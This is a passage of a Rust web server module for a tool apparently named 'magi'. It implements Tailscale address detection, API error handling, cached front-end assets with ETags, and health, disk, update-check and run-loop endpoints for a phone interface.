1740/// milliseconds, so it is fine to make it synchronously before the server
1741/// exists. Only an address inside `100.64.0.0/10` is accepted: that is the
1742/// CGNAT block Tailscale assigns from, and anything else on that output would
1743/// be a different tool answering.
1744fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1745    let out = std::process::Command::new("tailscale")
1746        .args(["ip", "-4"])
1747        .quiet()
1748        .output()
1749        .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1750    if !out.status.success() {
1751        let why = String::from_utf8_lossy(&out.stderr);
1752        let why = why.trim();
1753        return Err(format!(
1754            "`tailscale ip -4` failed ({}){}",
1755            out.status,
1756            if why.is_empty() {
1757                String::new()
1758            } else {
1759                format!(": {why}")
1760            }
1761        ));
1762    }
1763    String::from_utf8_lossy(&out.stdout)
1764        .lines()
1765        .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1766        .find(is_tailnet)
1767        .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1768}
1769
1770/// Is this address in the CGNAT block Tailscale hands out from?
1771fn is_tailnet(ip: &Ipv4Addr) -> bool {
1772    let o = ip.octets();
1773    o[0] == 100 && (64..=127).contains(&o[1])
1774}
1775
1776/// What every handler returns. Spelled out because `Result` in this crate is
1777/// `anyhow::Result`, and a handler's error is a status code as much as a
1778/// message.
1779type ApiResult<T> = std::result::Result<T, ApiError>;
1780
1781/// A handler failure, rendered as the `{"error": ".."}` body the UI expects.
1782#[derive(Debug)]
1783struct ApiError {
1784    status: StatusCode,
1785    message: String,
1786    text_reason: Option<crate::question_delivery::UnavailableReason>,
1787}
1788
1789impl ApiError {
1790    /// The client asked for something malformed.
1791    fn bad_request(message: impl Into<String>) -> Self {
1792        Self {
1793            text_reason: None,
1794            status: StatusCode::BAD_REQUEST,
1795            message: message.into(),
1796        }
1797    }
1798
1799    /// No such run or task.
1800    fn not_found(message: impl Into<String>) -> Self {
1801        Self {
1802            text_reason: None,
1803            status: StatusCode::NOT_FOUND,
1804            message: message.into(),
1805        }
1806    }
1807
1808    /// Someone else owns the thing the client wants to change.
1809    /// Re-badge an error whose default mapping is wrong for this route.
1810    fn with_status(mut self, status: StatusCode) -> Self {
1811        self.status = status;
1812        self
1813    }
1814
1815    /// A rules violation from a domain type, reported as the caller's fault.
1816    /// `Question::answer` rejects an unoffered choice, and that is a bad
1817    /// request, not a server error.
1818    fn bad_request_from(e: anyhow::Error) -> Self {
1819        Self::bad_request(format!("{e:#}"))
1820    }
1821
1822    fn conflict(message: impl Into<String>) -> Self {
1823        Self {
1824            text_reason: None,
1825            status: StatusCode::CONFLICT,
1826            message: message.into(),
1827        }
1828    }
1829
1830    /// Our fault, or the disk's.
1831    fn internal(message: impl Into<String>) -> Self {
1832        Self {
1833            text_reason: None,
1834            status: StatusCode::INTERNAL_SERVER_ERROR,
1835            message: message.into(),
1836        }
1837    }
1838}
1839
1840impl From<anyhow::Error> for ApiError {
1841    /// Errors from `queue` and `run` carry their context chain, and the whole
1842    /// chain goes to the client: "parse /home/x/runs/y/run.json: expected
1843    /// value at line 3" is a message an operator can act on, and there is no
1844    /// secret in a path on a single-user tailnet.
1845    fn from(e: anyhow::Error) -> Self {
1846        Self::internal(format!("{e:#}"))
1847    }
1848}
1849
1850impl IntoResponse for ApiError {
1851    fn into_response(self) -> Response {
1852        let mut body = serde_json::json!({ "error": self.message });
1853        if let Some(reason) = self.text_reason {
1854            body["code"] = serde_json::json!("question_text_unavailable");
1855            body["reason"] = serde_json::json!(reason);
1856        }
1857        (self.status, Json(body)).into_response()
1858    }
1859}
1860
1861/// Run a handler's filesystem work off the executor.
1862///
1863/// Every route that touches the disk goes through here rather than each one
1864/// arguing about whether its own read is small enough. Uniform because the
1865/// expensive case is not rare: `run.json` for a finished competition holds
1866/// every judgement, deliberation turn and review round, so listing a few
1867/// hundred runs is megabytes of parsing, and the executor threads doing it are
1868/// the same ones serving the change stream of every other connected phone.
1869async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1870where
1871    T: Send + 'static,
1872{
1873    #[cfg(test)]
1874    let job = request_cost::carry(job);
1875    match tokio::task::spawn_blocking(job).await {
1876        Ok(result) => result,
1877        Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1878    }
1879}
1880
1881/// Cache policy for the three compiled-in front-end files.
1882///
1883/// The whole interface is `include_str!`ed into the binary, so its content
1884/// changes only when the binary does - and a phone that keeps a copy is
1885/// welcome to, right up until the deck is replaced. Without a single cache
1886/// header, browsers were free to invent their own policy, and one did:
1887/// yukimemi's phone went on showing "Candidates must be folded before
1888/// deleting. Run `magi fold` first." - a sentence deleted two releases
1889/// earlier - from a run detail served by a deck that no longer contained it.
1890/// The delete button he was told about was right there, and unreachable.
1891///
1892/// `must-revalidate` with an `ETag` keyed on the version: the phone asks
1893/// every time, the answer is a 304 costing one small round trip while the
1894/// deck is unchanged, and the moment it is replaced the tag differs and the
1895/// new interface arrives. Correctness over bytes - this is one file of a few
1896/// tens of kilobytes on a tailnet, and being a version behind is not a
1897/// cosmetic problem when the difference is whether a button exists.
1898const ASSET_CACHE: &str = "no-cache, must-revalidate";
1899
1900/// `ETag` for the compiled-in assets, distinct per build.
1901///
1902/// The version alone would leave a locally built deck - `cargo install
1903/// --path .` twice at the same version, which is the normal way to iterate -
1904/// serving a stale tag for changed bytes. The build timestamp is what makes
1905/// two builds of `0.3.0` differ.
1906fn asset_etag() -> &'static str {
1907    static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1908        format!(
1909            "\"{}-{}\"",
1910            env!("CARGO_PKG_VERSION"),
1911            // Length is a cheap, deterministic stand-in for a hash: the
1912            // three files are compiled in together, so any edit to any of
1913            // them almost certainly changes the total, and a rebuild is what
1914            // this needs to track rather than every possible byte pattern.
1915            INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1916        )
1917    });
1918    &TAG
1919}
1920
1921/// Headers for a compiled-in asset of `mime`.
1922fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1923    [
1924        (header::CONTENT_TYPE, mime),
1925        (header::CACHE_CONTROL, ASSET_CACHE),
1926        (header::ETAG, asset_etag()),
1927    ]
1928}
1929
1930/// Serve a compiled-in asset, answering `304` when the client already has it.
1931///
1932/// axum does not compare `If-None-Match` for us, and a header the server sets
1933/// but never honours is worse than none: the phone revalidates on every load
1934/// and is handed the whole file back each time. Doing the comparison is what
1935/// makes `must-revalidate` cost one small round trip rather than the
1936/// interface.
1937fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1938    let tag = asset_etag();
1939    let known = headers
1940        .get(header::IF_NONE_MATCH)
1941        .and_then(|v| v.to_str().ok())
1942        // A revalidating client may send several, and a proxy may weaken the
1943        // tag to `W/"..."`; matching on containment covers both without
1944        // parsing the grammar.
1945        .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1946    if known {
1947        return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1948    }
1949    (asset_headers(mime), body).into_response()
1950}
1951
1952async fn index(headers: header::HeaderMap) -> Response {
1953    asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1954}
1955
1956async fn app_css(headers: header::HeaderMap) -> Response {
1957    asset(&headers, "text/css; charset=utf-8", APP_CSS)
1958}
1959
1960async fn app_js(headers: header::HeaderMap) -> Response {
1961    asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1962}
1963
1964/// What `/api/health` answers.
1965#[derive(Debug, Serialize)]
1966struct HealthView {
1967    version: &'static str,
1968    home: String,
1969    queue_rev: u64,
1970    runs_rev: u64,
1971    /// The same revisions [`events`] streams for the question and talk
1972    /// stores.
1973    ///
1974    /// Here because this route is what the front end falls back to when the
1975    /// change stream is not up - it re-polls health on a timer and on wake, and
1976    /// takes the revisions from the answer. Without these the fallback
1977    /// compares `undefined` against `undefined` for both stores, decides
1978    /// nothing moved, and a phone with a dead stream never learns that a
1979    /// question was asked or that a talk took a turn. `queue_rev` and
1980    /// `runs_rev` above have always been here for exactly this reason; the rule
1981    /// is that every revision the stream carries, this route carries too.
1982    questions_rev: u64,
1983    /// See [`HealthView::questions_rev`]. The standing chat's own store.
1984    talks_rev: u64,
1985    /// See [`HealthView::questions_rev`]. The notification centre's store.
1986    notifications_rev: u64,
1987    /// Notifications nobody has read yet: the bell's badge before
1988    /// `/api/notifications` has answered.
1989    notifications_unread: usize,
1990    /// See [`HealthView::questions_rev`]. The loop's counter is the one that
1991    /// is not on disk anywhere, so a phone with no change stream has no other
1992    /// way to notice that the loop it is waiting on was started from another
1993    /// device.
1994    loop_rev: u64,
1995    /// Runs on disk whose state this build cannot parse - almost always a
1996    /// schema bump, occasionally a run killed mid-write.
1997    ///
1998    /// Reported because the list silently skips them, and "no competitions
1999    /// yet" is a lie when six of them are sitting in the runs directory. The
2000    /// terminal deck learned the same lesson: a run that fails to parse must
2001    /// not disappear from the count.
2002    runs_unreadable: usize,
2003    /// The disk, and what the runs and their worktrees occupy on it.
2004    ///
2005    /// This is the incident the janitor exists for: magi alone put 30 GB into
2006    /// one shared cache and 6.7-11 GB into each run's worktrees, and a phone
2007    /// is exactly where the operator learns "the disk is the constraint" -
2008    /// the diagnosis that a run is being held for want of space has to be
2009    /// checkable on the same screen.
2010    disk: DiskView,
2011    /// Questions nobody has answered yet, including ones an owner talked
2012    /// back on and is now waiting for the agent's reply to. A round trip
2013    /// never changes [`crate::ask::QuestionStatus`], so this does not drop
2014    /// while the ball is in the agent's court - see
2015    /// [`crate::ask::Questions::count_open`].
2016    questions_open: usize,
2017    /// Of those, how many actually need the owner right now: open, and not
2018    /// [`crate::ask::Question::waiting_on_agent`].
2019    ///
2020    /// The one number that means "nothing will happen until a human acts" -
2021    /// a parked run consumes nothing and progresses never - and the count the
2022    /// ask bar, the nav badge and the document title fall back to before
2023    /// `/api/questions` has answered, so those notification channels clear
2024    /// the instant the owner asks back and reappear the instant the agent
2025    /// replies, instead of sitting lit for however long the agent thinks.
2026    questions_needs_owner: usize,
2027    daemon: DaemonView,
2028    /// The loop in this process, exactly what `/api/loop` answers with.
2029    ///
2030    /// Here so a phone that has just woken needs one request to know whether
2031    /// anything is going to happen at all: `daemon` says a loop is alive
2032    /// somewhere, and this says whether it is one this UI can stop.
2033    #[serde(rename = "loop")]
2034    looping: LoopView,
2035    /// Whether a release newer than this build is known, and which.
2036    ///
2037    /// From [`updater::Checker::cached_update`] - the same throttled state the
2038    /// CLI's `notify` mode banners from - never a live check: this route is
2039    /// polled every few seconds, and a live check on each poll would spend
2040    /// GitHub's rate limit before the operator finished reading the strip.
2041    update: UpdateView,
2042    /// The self-upgrade this deck last set in motion, or `null` before the
2043    /// first one. Read off disk, so the successor can report what its
2044    /// predecessor started.
2045    upgrade: Option<UpgradeProgressView>,
2046    upgrade_request_error: Option<UpgradeRequestFailure>,
2047}
2048
2049/// What `/api/health` knows about a release newer than this build.
2050///
2051/// A plain `Option<String>` for `to` could not distinguish "checked, and this
2052/// is already the newest" from "never checked" - both are `None` - and the
2053/// phone needs to tell those apart to decide whether the deck can be trusted
2054/// to have an opinion at all.
2055#[derive(Debug, Serialize)]
2056struct UpdateView {
2057    /// A newer release is known to exist.
2058    available: bool,
2059    /// Its tag, when `available`.
2060    to: Option<String>,
2061}
2062
2063/// [`updater::Progress`] as `/api/health` reports it.
2064#[derive(Debug, Serialize)]
2065struct UpgradeProgressView {
2066    stage: updater::Stage,
2067    from: String,
2068    to: Option<String>,
2069    /// What [`updater::Stage::Parking`] is waiting on, in words: the run and
2070    /// the step it is finishing before the address is handed over.
2071    waiting_on: Option<String>,
2072    started_at: Timestamp,
2073    updated_at: Timestamp,
2074    detail: Option<String>,
2075    /// Seconds the stage has outlived its allowance, when it has - see
2076    /// [`updater::stall`]. `null` while the stage is moving normally.
2077    stuck_for_secs: Option<i64>,
2078    /// Which kind of stuck: `never_entered` (hand_over left no record of
2079    /// starting) or `stopped_beating`. `null` when not stuck.
2080    stuck_kind: Option<updater::StallKind>,
2081    /// `hand_over` is alive and waiting on the loop: however long that takes,
2082    /// it is not an overdue upgrade.
2083    handover_alive: bool,
2084}
2085
2086/// Whether [`run_update_recheck`] may act at all this tick.
2087///
2088/// The same two conditions [`updater::Checker::new`] and
2089/// [`upgrade_post`] already honour: an operator who wrote `[update] mode =
2090/// "off"`, or who set [`updater::NO_AUTOUPDATE_ENV`], means "never contact
2091/// GitHub from this process" - on a button press or on a timer alike.
2092fn should_spawn_recheck(cfg: &Update) -> bool {
2093    cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2094}
2095
2096/// Whether this tick should actually reach the network, once checking itself
2097/// is allowed.
2098///
2099/// An upgrade already in flight must not be raced by a check that discovers
2100/// a *newer* release while one is still installing - a phone watching
2101/// `/api/health` would see the answer change out from under the upgrade it
2102/// already asked for. Past that, [`updater::Checker::should_check`] is the
2103/// same throttle the CLI's own notify mode and [`cached_update_view`] rely
2104/// on; deferring to it here, rather than to [`run_update_recheck`]'s own
2105/// polling period, is what keeps this task's network use to at most once per
2106/// `[update] interval` regardless of how often it wakes up.
2107fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2108    if progress.is_some_and(|p| !p.stage.terminal()) {
2109        return false;
2110    }
2111    checker.should_check()
2112}
2113
2114/// How long [`run_update_recheck`] sleeps before its next wake-up.
2115///
2116/// A fraction of the configured `[update] interval` rather than a fixed
2117/// number: a fixed sleep longer than a short custom interval would leave the
2118/// deck waiting on its own wake-up rather than on `should_check`, so an
2119/// operator who set `interval = "1m"` to make the UI catch up quickly would
2120/// not see that take effect until the next restart - exactly the bug this
2121/// task exists to fix, just moved one level down. Scaling with the interval
2122/// keeps the wake-up prompt relative to what was actually configured, while
2123/// [`update_recheck_due`]'s call to [`updater::Checker::should_check`] is
2124/// still what caps the network calls themselves at one per interval,
2125/// regardless of how often this fires.
2126fn recheck_poll_period(cfg: &Update) -> Duration {
2127    (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2128}
2129
2130/// Keep `/api/health`'s `update` field current for as long as `magi web`
2131/// stays up.
2132///
2133/// The CLI's own `spawn_update_check` (`main.rs`) runs once per invocation,
2134/// which is enough for every other command: they exit in seconds. `magi web`
2135/// can run for days, so a single startup check leaves the cache - and the
2136/// phone's "Update & restart" button, which reads it via
2137/// [`cached_update_view`] - frozen on whatever that one look found, however
2138/// many releases ship afterwards. This is what notices the rest of them,
2139/// re-reading the config each tick so a `magi.toml` edit while the server is
2140/// up takes effect without a restart, the same way every other route here
2141/// already does - both for whether checking is on at all and for how long
2142/// the next sleep should be.
2143///
2144/// Not [`updater::spawn`]'s `auto_update` path, even under `mode =
2145/// "install"`: swapping the running binary out from under a task or a run
2146/// mid-node is exactly what `hand_over`'s parking exists to do deliberately,
2147/// not as a side effect of a timer nobody asked to fire. This only ever
2148/// calls [`updater::Checker::newer_release`], which refreshes
2149/// `last_update_check.json` and nothing else - so under `mode = "install"`
2150/// this behaves like `notify` for as long as the deck stays up, and an
2151/// actual self-install still happens exactly where it always has: once, at
2152/// the next process start.
2153async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
2154    loop {
2155        let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
2156        tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
2157        if !should_spawn_recheck(&cfg.update) {
2158            continue;
2159        }
2160        let Some(checker) = updater::Checker::new(&cfg.update) else {
2161            continue;
2162        };
2163        let progress = updater::read_progress(&home);
2164        if !update_recheck_due(&checker, progress.as_ref()) {
2165            continue;
2166        }
2167        if let Err(e) = checker.newer_release().await {
2168            tracing::warn!("background update recheck failed: {e:#}");
2169        }
2170    }
2171}
2172
2173/// [`UpdateView`] from the same throttled, disk-only state
2174/// [`crate::updater::Checker::cached_update`] gives the CLI's `notify` mode -
2175/// never a live check. `[update] mode = "off"` answers "unknown" the same as
2176/// no cached state at all, which is correct: an operator who turned checking
2177/// off gets no opinion, not a stale one.
2178fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2179    let default;
2180    let cfg = match cfg {
2181        Some(cfg) => cfg,
2182        None => {
2183            default = Config::default();
2184            &default
2185        }
2186    };
2187    let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2188    match latest {
2189        Some(latest) => UpdateView {
2190            available: true,
2191            to: Some(latest.tag_name),
2192        },
2193        None => UpdateView {
2194            available: false,
2195            to: None,
2196        },
2197    }
2198}
2199
2200/// [`updater::Progress`] as `/api/health` reports it, filling in `waiting_on`
2201/// from the parked run's own state when the stage is
2202/// [`updater::Stage::Parking`] - the run and the node it is finishing are
2203/// already on disk in `run.json`, so this reads them fresh rather than
2204/// trusting whatever was true the moment the park was requested.
2205fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2206    let now = Timestamp::now();
2207    let lease = updater::read_lease(&ui.home);
2208    let alive = updater::live_lease(&progress, lease.as_ref(), now);
2209    let run_id = alive
2210        .and_then(|l| l.parked_run.as_deref())
2211        .or(progress.parked_run.as_deref());
2212    let parking = progress.stage == updater::Stage::Parking;
2213    let waited = alive.map_or_else(String::new, |l| {
2214        let secs = updater::waited_secs(l, now);
2215        format!(" (waited {} min so far)", secs / 60)
2216    });
2217    let run_text = run_id
2218        .filter(|_| parking)
2219        .map(|id| match read_run(&ui.runs, id).ok() {
2220            Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2221            None => format!("run {id} is finishing"),
2222        });
2223    let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2224        .filter(|t| parking && !t.is_empty())
2225        .map(|t| format!("{t} finishing"));
2226    let waiting_on = match (run_text, talks_text) {
2227        (None, None) => None,
2228        (run, talks) => {
2229            let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2230            Some(format!(
2231                "{} before the address is handed over{waited}",
2232                parts.join(" and ")
2233            ))
2234        }
2235    };
2236    let detail = progress
2237        .detail
2238        .clone()
2239        .or_else(|| updater::read_note(&ui.home, &progress));
2240    let stalled = updater::stall(&progress, lease.as_ref(), now);
2241    let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2242    UpgradeProgressView {
2243        stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2244        stuck_kind: stalled.map(|s| s.kind),
2245        handover_alive: alive.is_some(),
2246        stage: progress.stage,
2247        from: progress.from,
2248        to: progress.to,
2249        waiting_on,
2250        started_at: progress.started_at,
2251        updated_at: progress.updated_at,
2252        detail,
2253    }
2254}
2255
2256/// The disk figures `/api/health` carries. Every number is produced by
2257/// [`crate::disk`], the same code that decides a run may not start, so the
2258/// health screen and the gate cannot disagree about what the machine looks
2259/// like.
2260#[derive(Debug, Serialize)]
2261struct DiskView {
2262    /// Free bytes on the volume holding the runs, when measurable.
2263    #[serde(skip_serializing_if = "Option::is_none")]
2264    free_bytes: Option<u64>,
2265    /// Everything the runs directory occupies, unreadable runs included.
2266    runs_bytes: u64,
2267    /// Everything the runs' worktrees occupy.
2268    worktrees_bytes: u64,
2269    /// The shared build cache's size, when the config names one.
2270    #[serde(skip_serializing_if = "Option::is_none")]
2271    cache_bytes: Option<u64>,
2272}
2273
2274impl DiskView {
2275    /// Measure the three directories and re-read the config's cache.
2276    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2277        let cache_bytes = cfg
2278            .and_then(|cfg| cfg.cache_dir())
2279            .map(|dir| crate::disk::dir_size(&dir));
2280        Self {
2281            free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
2282            runs_bytes: crate::disk::dir_size(&ui.runs),
2283            worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
2284            cache_bytes,
2285        }
2286    }
2287}
2288
2289/// The daemon's state as the UI presents it.
2290#[derive(Debug, Serialize)]
2291struct DaemonView {
2292    running: bool,
2293    idle: Option<bool>,
2294    pid: Option<u32>,
2295    /// Every task and run currently in flight. Empty when idle; more than
2296    /// one entry when `Config::daemon.max_concurrent_runs` has more than one
2297    /// run going at once.
2298    current: Vec<daemon::Current>,
2299    completed: Option<u64>,
2300    stale_for_secs: Option<i64>,
2301}
2302
2303impl DaemonView {
2304    /// Judge a status file. Staleness is [`daemon::Reading::running`]'s call,
2305    /// not this UI's — a crashed daemon must not look alive here while
2306    /// `doctor` calls it dead.
2307    fn of(status: Option<daemon::Reading>) -> Self {
2308        let Some(status) = status else {
2309            return Self {
2310                running: false,
2311                idle: None,
2312                pid: None,
2313                current: Vec::new(),
2314                completed: None,
2315                stale_for_secs: None,
2316            };
2317        };
2318        let now = Timestamp::now();
2319        let age = status.age_secs(now);
2320        Self {
2321            running: status.running(now),
2322            idle: Some(status.idle),
2323            pid: status.pid,
2324            current: status.current,
2325            completed: Some(status.completed),
2326            stale_for_secs: age,
2327        }
2328    }
2329}
2330
2331async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
2332    blocking(move || {
2333        // One read of the status file for the two fields that describe it, so
2334        // `daemon` and `loop` in the same answer cannot disagree about who is
2335        // running the loop.
2336        let reading = daemon::read_status(&ui.home);
2337        // Read on its own line, not inside the literal below: the loop's lock
2338        // is not reentrant, and a guard taken as a temporary there would still
2339        // be held when `loop_view` took it again.
2340        let loop_rev = ui.lock_loop().rev;
2341        // One discover for both views: each is a few git processes plus a
2342        // config render, and neither depends on anything the other reads.
2343        let cfg = deputy_config(&ui.repo);
2344        let update = cached_update_view(cfg.as_ref());
2345        let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
2346        Ok(Json(HealthView {
2347            version: env!("CARGO_PKG_VERSION"),
2348            home: ui.home.display().to_string(),
2349            queue_rev: stamps_revision(&store_stamps(ui.queue.root(), false)),
2350            runs_rev: runs_revision(&ui.runs),
2351            questions_rev: ui.questions.revision(),
2352            talks_rev: stamps_revision(&store_stamps(ui.talks.root(), false)),
2353            notifications_rev: ui.notices.revision(),
2354            notifications_unread: ui.notices.count_unread(),
2355            loop_rev,
2356            runs_unreadable: runs_unreadable(&ui.runs),
2357            questions_open: ui.questions.count_open(),
2358            questions_needs_owner: ui.questions.count_needs_owner(),
2359            daemon: DaemonView::of(reading.clone()),
2360            looping: ui.loop_view(reading),
2361            disk: DiskView::of(&ui, cfg.as_ref()),
2362            update,
2363            upgrade,
2364            upgrade_request_error: ui
2365                .upgrade_request_error
2366                .lock()
2367                .unwrap_or_else(PoisonError::into_inner)
2368                .clone(),
2369        }))
2370    })
2371    .await
2372}
2373
2374/// What `/api/loop` answers, and what `/api/health` carries as `loop`.
2375#[derive(Debug, Serialize)]
2376struct LoopView {
2377    /// A loop is running in *this* process.
2378    running: bool,
2379    /// It has been asked to stop and is still finishing a run.
2380    ///
2381    /// [`daemon::Stop::finishing`]'s answer rather than "the flag is set",
2382    /// because the two differ exactly where it matters: a loop asked to stop
2383    /// while idle is gone within one poll interval, and one asked to stop
2384    /// mid-run keeps going for as long as the graph takes. The operator needs
2385    /// to be told which of those they are waiting for.
2386    stopping: bool,
2387    /// A park was asked for: the run in flight stops at its next node
2388    /// boundary rather than finishing.
2389    ///
2390    /// Separate from `stopping` because the two promise different waits. A
2391    /// stop is "when this competition ends", which can be an hour; a park is
2392    /// "after the step it is on", which is minutes and is what an operator
2393    /// waiting to replace the binary needs to see.
2394    parking: bool,
2395    /// The loop is this process's own.
2396    ///
2397    /// Spelled separately from `running` for the front end's sake, even
2398    /// though inside this process the two move together: `running: false`
2399    /// with `daemon.running: true` is the case where the operator's own `magi
2400    /// serve` owns the loop, and `owned` is the field that tells the UI its
2401    /// buttons have to explain that rather than pretend.
2402    owned: bool,
2403    /// Repository the loop uses for tasks that name none - what it was
2404    /// started with while it runs, and what a start would use before that.
2405    repo: String,
2406    /// Merge mode override in force, or `null` when each repository's own
2407    /// config decides.
2408    merge: Option<String>,
2409    /// Why the last loop in this process ended, when it ended badly.
2410    ///
2411    /// The only place a crashed loop is visible to someone holding a phone.
2412    /// It is logged at error level as well, but a terminal nobody kept open
2413    /// is not a report, and a loop that died at 3am must not read as merely
2414    /// stopped in the morning. Named as [`Task::last_error`] is, because it
2415    /// answers the same question about the same kind of failure.
2416    last_error: Option<String>,
2417    /// The status file, judged the same way `/api/health` judges it: this is
2418    /// what says whether a loop is alive in some *other* process.
2419    daemon: DaemonView,
2420}
2421
2422/// A loop another process already owns.
2423///
2424/// `<home>/daemon.json` is the only cross-process signal there is, so this is
2425/// the whole of the test: a heartbeat no older than [`daemon::STALE_SECS`],
2426/// published by a pid that is not ours. Excluding our own pid is what makes
2427/// stopping work at all - the loop this process runs writes that file too, so
2428/// a check that ignored the pid would decide the operator's own UI was a
2429/// stranger and refuse to stop the loop it had just started.
2430#[derive(Debug, Clone, Copy)]
2431struct Foreign {
2432    /// The pid the other process published, when it published one.
2433    pid: Option<u32>,
2434}
2435
2436impl Foreign {
2437    /// Another process's live loop, or `None` when this process is free to
2438    /// run one.
2439    fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
2440        // A fresh heartbeat with no pid in it is still evidence of a live
2441        // daemon. "Some other process" is the honest answer, and refusing
2442        // to start beside it is the safe one.
2443        daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
2444    }
2445
2446    /// How a conflict names it. The pid is the whole point of the message: it
2447    /// is what the operator needs to find the terminal that owns the loop.
2448    fn who(&self) -> String {
2449        match self.pid {
2450            Some(pid) => format!("another magi process (pid {pid})"),
2451            None => "another magi process".to_owned(),
2452        }
2453    }
2454}
2455
2456/// How a loop is started, as a future this module can hold onto.
2457///
2458/// A plain function pointer, so [`Ui`] stays `Debug` and `Clone` without a
2459/// trait object or a hand-written `Debug` impl for the sake of one seam.
2460type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
2461
2462/// The real loop: [`daemon::serve_until`], boxed to fit [`Launch`].
2463fn launch_daemon(
2464    opts: daemon::Opts,
2465    stop: daemon::Stop,
2466) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2467    Box::pin(daemon::serve_until(opts, stop))
2468}
2469
2470/// The loop this process runs, behind one lock.
2471#[derive(Debug, Default)]
2472struct LoopState {
2473    /// The loop, while there is one.
2474    live: Option<Live>,
2475    /// Bumped on every change to this struct, and streamed as `loop_rev`.
2476    ///
2477    /// The loop is in-process state rather than a file, so nothing on disk
2478    /// would tell a second phone that the first one started it. Without this
2479    /// counter the only way to learn about a start, a stop request or a crash
2480    /// would be to poll `/api/loop`, which is the thing the change stream
2481    /// exists to avoid on a mobile link.
2482    rev: u64,
2483    /// Why the last loop ended, when it ended badly. See
2484    /// [`LoopView::last_error`].
2485    last_error: Option<String>,
2486    /// The loop was running (and not already stopping) when the last upgrade
2487    /// parked it, so the successor should start one. Set afresh by every
2488    /// [`Ui::park_for_upgrade`], cleared by an explicit stop and by a failed
2489    /// update.
2490    resume_after_handover: bool,
2491}
2492
2493/// A loop in flight.
2494#[derive(Debug)]
2495struct Live {
2496    /// The cooperative stop, shared with the loop task.
2497    stop: daemon::Stop,
2498    /// The task itself, kept only to answer whether it is still there: a loop
2499    /// that panicked never records its own end, and without this the view
2500    /// would go on reporting a loop that no longer exists - the one lie that
2501    /// would leave the operator with no button to press.
2502    handle: tokio::task::JoinHandle<()>,
2503    /// What the loop was started with, so the view reports the repository and
2504    /// merge mode its runs will actually use rather than what an edit to the
2505    /// config since would give.
2506    opts: daemon::Opts,
2507}
2508
2509impl Live {
2510    /// Is the task still there? See [`Live::handle`].
2511    fn alive(&self) -> bool {
2512        !self.handle.is_finished()
2513    }
2514}
2515
2516/// Take the loop lock, recovering from a poisoned one.
2517///
2518/// What this mutex holds is a stop flag, a task handle and two counters, none
2519/// of which a panic elsewhere can leave in a state worth refusing to read.
2520/// Propagating the poison instead would mean an operator who can see the loop
2521/// running and can no longer stop it from the only surface they have.
2522fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2523    state.lock().unwrap_or_else(PoisonError::into_inner)
2524}
2525
2526/// `GET /api/loop`.
2527async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2528    blocking(move || {
2529        let reading = daemon::read_status(&ui.home);
2530        Ok(Json(ui.loop_view(reading)))
2531    })
2532    .await
2533}
2534
2535/// The body of `POST /api/loop`.
2536///
2537/// One required field and nothing else: no `default` and no unknown fields,
2538/// so a body that fails to say which way the switch was flipped is a 400
2539/// rather than a tap that quietly does the opposite of what was pressed.
2540#[derive(Debug, Deserialize)]
2541#[serde(deny_unknown_fields)]
2542struct LoopCommand {
2543    running: bool,
2544    /// Stop the run in flight at its next node boundary rather than letting it
2545    /// finish.
2546    ///
2547    /// Defaults to false, so the plain stop keeps meaning what it meant: a
2548    /// competition is tens of minutes of paid work and finishing it is
2549    /// normally the cheapest thing to do. A park is for the operator who
2550    /// wants the process gone now - to replace the binary, most of all - and
2551    /// it costs at most the node in progress because every node writes its
2552    /// state before the next one starts.
2553    #[serde(default)]
2554    park: bool,
2555}
2556
2557/// `POST /api/loop` - start the loop in this process, or ask it to stop.
2558///
2559/// Answers with the view rather than waiting for the loop to reach the state
2560/// that was asked for. Starting is immediate anyway; stopping is not, and the
2561/// wait is a run's worth of minutes, which is not a thing to hold a phone's
2562/// request open for. `stopping` in the answer is what the operator watches
2563/// instead.
2564async fn loop_post(
2565    State(ui): State<Arc<Ui>>,
2566    body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2567) -> ApiResult<Json<LoopView>> {
2568    // Taken as a `Result` so a malformed body is a 400 like every other route
